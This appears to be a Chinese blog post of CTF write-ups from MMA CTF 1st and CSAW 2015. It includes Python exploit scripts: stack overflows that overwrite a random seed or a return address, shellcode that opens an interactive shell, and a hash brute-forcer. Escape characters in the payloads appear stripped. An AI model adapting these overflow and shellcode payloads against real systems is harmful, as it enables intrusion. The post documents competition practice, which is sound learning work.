mma ctf 1st && csaw 2015

　　(很久以前做的，现在发一下)最近做了两个CTF，水平太渣，做了没几道题，挑几个自己做的记录一下。

　　mma ctf 1st 之 rps:

from socket import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(('milkyway.chal.mmactf.link',1641))
#s.connect(('127.0.0.1',10001))
print s.recv(1024)

payload = 'a'*48 + 'x03x00x00x00x00x00x00x00'+ '
'
s.send(payload)
print s.recv(1024)

rand=open("rand")#提前生成rand文件
for line in rand:
    if(line.rstrip()=='1'):
        s.send('S
')
        print s.recv(1024)
    if(line.rstrip()=='2'):
        s.send('R
')
        print s.recv(1024)
    if(line.rstrip()=='0'):
        s.send('P
')
        print s.recv(1024)

print s.recv(1024)
print s.recv(1024)
rand.close()
s.close()

　　flag:

　　赛后，看了他人写的writeup，感觉比我的好多了，也学了不少。

　　poc1:

from pwn import *
from ctypes import *
 
rps = 'RPS'
libc = CDLL("libc.so.6")
libc.srand(0x01010101);
 
def getNextAnswer():
    comp = libc.rand()%3
    mine = (comp + 1) %3
    return rps[mine]
r = remote("milkyway.chal.mmactf.link", 1641)
nama = "A" * 0x30
nama += "x01"*4
print r.recv()
print "Sending: " + str(nama)
r.send(str(nama) + "
")
print r.recv()
for j in range(0, 50 ):
    x = getNextAnswer()
    print r.recv()
    print "Sending: " + x + "
"
    r.send(x + "
")
    data = r.recv()
    print data 
print r.recv() 
r.close()

　　poc2:不同的思路

from pwn import *
import time
context.binary=”rps”
context.bits=64
addr1=0x00000000006010e8
addr2=0x00000000004008b4
payload=”A”*80
payload+=pack(addr1)
payload+=pack(addr2)
p=remote(“milkyway.chal.mmactf.link”,1641)
msg=p.recvuntil(‘:’)
print msg
p.sendline(payload)
msg=p.recvlines(2)
print msg
p.sendline(“I”)
msg=p.recvall()
print msg

　　mma ctf 1st 之 cannotberun:

　　拿010 editor 改了下IMAGE_DOS_HEADER的e_lfanew成员值。这个成员表明了PE文件头(IMAGE_NT_HEADERS)在PE文件中的偏移。如果这个值为0，则表示该文件是一个DOS MZ可执行文件，如果不为0，就是一个Windows的PE文件。

　　flag:

　　mma ctf 1st 之 splitted:

　　wireshark中follow tcp stream后，就可以发现每个包的位置了，然后就用010 editor重组一下，解压后是个psd文件，在线找了一个photoshop，两个图层，其中一个就是flag。

　　flag:

　　赛后看有人直接用 convert flag.psd flag.png ，直接就能看flag了

　　mma ctf 1st 之 simple_hash:

　　这个当时时间有点紧，算法已经弄懂，但是脚本没写出来。赛后，自己写了一个，不过比较慢，还有很大优化的空间。

　　算法是一个

import datetime
import itertools
import string
target = 0x1E1EAB437EEB0
mod = 0x38D7EA4C68025
alphabet = string.ascii_letters + string.digits
def crack(can):
    result = ''
    while(can>0):
        q,r = divmod(can,577)
        if r>=255:
            return ''
        if(chr(r) not in alphabet):
            return ''
        result = result + chr(r)
        if len(result)>10:
            return ''
        can = q
    return result
starttime = datetime.datetime.now()
for i in itertools.count():
    if i%10000000==0:
        print i
    target += mod
    key = crack(target)
    if key != '':
        print 'cool
'
        print ''.join(reversed(key))
        break
endtime = datetime.datetime.now()
print (endtime - starttime).seconds

 　　csaw pwn precision

from pwn import *
r = remote('54.173.98.115', 1259)
#r = remote('127.0.0.1',10001)
ret = r.recv(1024)[-9:-1]
print 'ret addr: %s' % ret
ret = int(ret,16)
retaddr = p32(ret)

shellcode="xebx1bx5fx31xc0x6ax53x6ax18x59x49x5bx8ax04x0f"
shellcode += "xf6xd3x30xd8x88x04x0fx50x85xc9x75xefxebx05xe8"
shellcode += "xe0xffxffxffx1cx7fxc5xf9xbexa3xe4xffxb8xffxb2"
shellcode += "xf4x1fx95x4exfex25x97x93x30xb6x39xb2x2c"

payload = shellcode + 'a'*(0x80-58) + 'xa5x31x5ax47x55x15x50x40' + 'b'*12 + retaddr

r.sendline(payload)
r.interactive()